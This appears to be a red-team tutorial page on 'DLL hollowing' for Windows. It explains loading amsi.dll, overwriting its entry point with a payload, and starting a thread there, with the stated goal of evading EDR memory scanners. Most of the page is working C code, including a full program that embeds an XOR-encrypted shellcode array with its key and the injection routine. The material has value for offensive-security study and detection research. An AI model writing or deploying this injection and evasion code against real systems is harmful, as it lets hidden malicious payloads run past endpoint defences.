DLL Hollowing

This technique works by coercing a program to load an unused DLL, and then overwriting some part of the unused DLL to host our payload, and then starting a new thread to execute that DLL.

This will minimize our artifacts, because of the following reasons

  • Memory scanners will not scan DLLs for malicious signatures or compare DLLs in disk to memory as it will be very resource intensive for an EDR to scan every DLL loaded in a process

  • Our thread will map back to a legitimate DLL instead of a weirdly allocated piece of memory

  • We will have no RWX memory regions that are not backed up by any file

For the sake of this lab(ish), we will simply just allocate a block of memory in a benign DLL and execute that.

Let's first Load our library we want to overwrite:

	HMODULE hVictimLib = LoadLibrary("amsi.dll");

Let's then get the entry point of the DLL:

char* ptr1 = (char*)hVictimLib;
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ptr1;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ptr1 + dosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)ptr1);
char* ptr = (char*)dllEntryPoint;

After we get our entry point, lets change its protections and write our payload to the entry point:

DWORD oldprotect = 0;
VirtualProtect((char*)ptr, payload_len, PAGE_READWRITE, &oldprotect);
memcpy(ptr, payload, payload_len);
VirtualProtect((char*)ptr, payload_len, oldprotect, &oldprotect);

Then, we can create our new thread

CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, 0, 0);

Here's the final code I have made:

#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char payload[] = { 0xa9, 0x3c, 0xed, 0xaa, 0xb1, 0x86, 0xb3, 0x74, 0x52, 0x73, 0x14, 0x25, 0x2f, 0x1e, 0x13, 0x3f, 0x25, 0x3c, 0x63, 0xa1, 0x30, 0x3c, 0xe5, 0x1c, 0x21, 0x26, 0xf8, 0x26, 0x4a, 0x3b, 0xde, 0x26, 0x4e, 0x6, 0xca, 0x1c, 0x23, 0x3c, 0x5d, 0xc4, 0x1f, 0x3e, 0x23, 0x7f, 0x88, 0x26, 0x42, 0xb4, 0xfe, 0x4f, 0x34, 0x8, 0x6c, 0x62, 0x61, 0x2f, 0xb2, 0xbd, 0x5f, 0x32, 0x54, 0xb5, 0x8c, 0xa3, 0x13, 0x2f, 0x22, 0x3c, 0xd9, 0x21, 0x75, 0xff, 0x2c, 0x72, 0x9, 0x6f, 0xa3, 0xff, 0xd2, 0xfb, 0x55, 0x74, 0x6e, 0x6, 0xc4, 0xae, 0x7, 0x13, 0x1a, 0x72, 0x85, 0x24, 0xe5, 0x6, 0x59, 0x2a, 0xf8, 0x34, 0x72, 0x3a, 0x54, 0xa4, 0x8d, 0x18, 0x9, 0x91, 0xba, 0x35, 0xd9, 0x47, 0xdd, 0x3c, 0x6f, 0x98, 0xc, 0x5f, 0xba, 0x3c, 0x63, 0xb3, 0xf9, 0x35, 0xaf, 0x87, 0x4c, 0x2f, 0x72, 0xb5, 0x6a, 0x93, 0x20, 0x85, 0x22, 0x4d, 0xd, 0x4a, 0x7b, 0x31, 0x6b, 0xa2, 0x20, 0xac, 0x36, 0xa, 0xca, 0x2e, 0x57, 0x3d, 0x53, 0xa3, 0x33, 0x35, 0xe5, 0x42, 0x9, 0x2a, 0xf8, 0x34, 0x4e, 0x3a, 0x54, 0xa4, 0x2f, 0xc5, 0x45, 0xe6, 0x3b, 0x75, 0x82, 0x32, 0xd, 0x35, 0x36, 0x10, 0x18, 0x34, 0x32, 0x2c, 0x13, 0x2a, 0x14, 0x2e, 0x26, 0xcd, 0xad, 0x4e, 0x32, 0x26, 0xad, 0x93, 0xd, 0x35, 0x37, 0x14, 0x9, 0xe5, 0x61, 0x9d, 0x5, 0x8c, 0xaa, 0x8b, 0x33, 0x6, 0xfb, 0x6f, 0x73, 0x74, 0x52, 0x73, 0x55, 0x74, 0x6e, 0x6, 0xcc, 0xe3, 0x72, 0x75, 0x52, 0x73, 0x14, 0xce, 0x5f, 0xc5, 0x2e, 0xe9, 0x8c, 0xa1, 0xe9, 0x93, 0x48, 0x5e, 0x64, 0xf, 0xfb, 0xc8, 0xe6, 0xc9, 0xcf, 0x8c, 0x80, 0x3c, 0xed, 0x8a, 0x69, 0x52, 0x75, 0x8, 0x58, 0xf3, 0xae, 0x94, 0x1b, 0x4b, 0xfa, 0x29, 0x60, 0x6, 0x3d, 0x19, 0x55, 0x2d, 0x2f, 0xc7, 0x9b, 0x91, 0xa6, 0x17, 0x33, 0x1f, 0x36, 0x5a, 0xb, 0x36, 0x24, 0x6e };
unsigned int payload_len = sizeof(payload);
char key[] = "UtnNAnstRs";


void XOR(char* data, size_t data_len, char* key, size_t key_len) {
	int j;

	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}


int main(void) {
	DWORD oldprotect = 0;
	HMODULE hVictimLib = LoadLibrary("amsi.dll");
	if (hVictimLib != NULL) {

		char* ptr1 = (char*)hVictimLib;
		PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ptr1;
		PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ptr1 + dosHeader->e_lfanew);
		LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)ptr1);
		char* ptr = (char*)dllEntryPoint;

		printf("Adrress of the Entry point of the dll: %p", ptr);
		getchar();


		VirtualProtect((char*)ptr, payload_len, PAGE_READWRITE, &oldprotect);
		XOR((char*)payload, payload_len, key, sizeof(key));
		memcpy(ptr, payload, payload_len);
		VirtualProtect((char*)ptr, payload_len, oldprotect, &oldprotect);
		CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, 0);

		printf("Payload executed\n");
		getchar();

	}

	return 0;
}

Last updated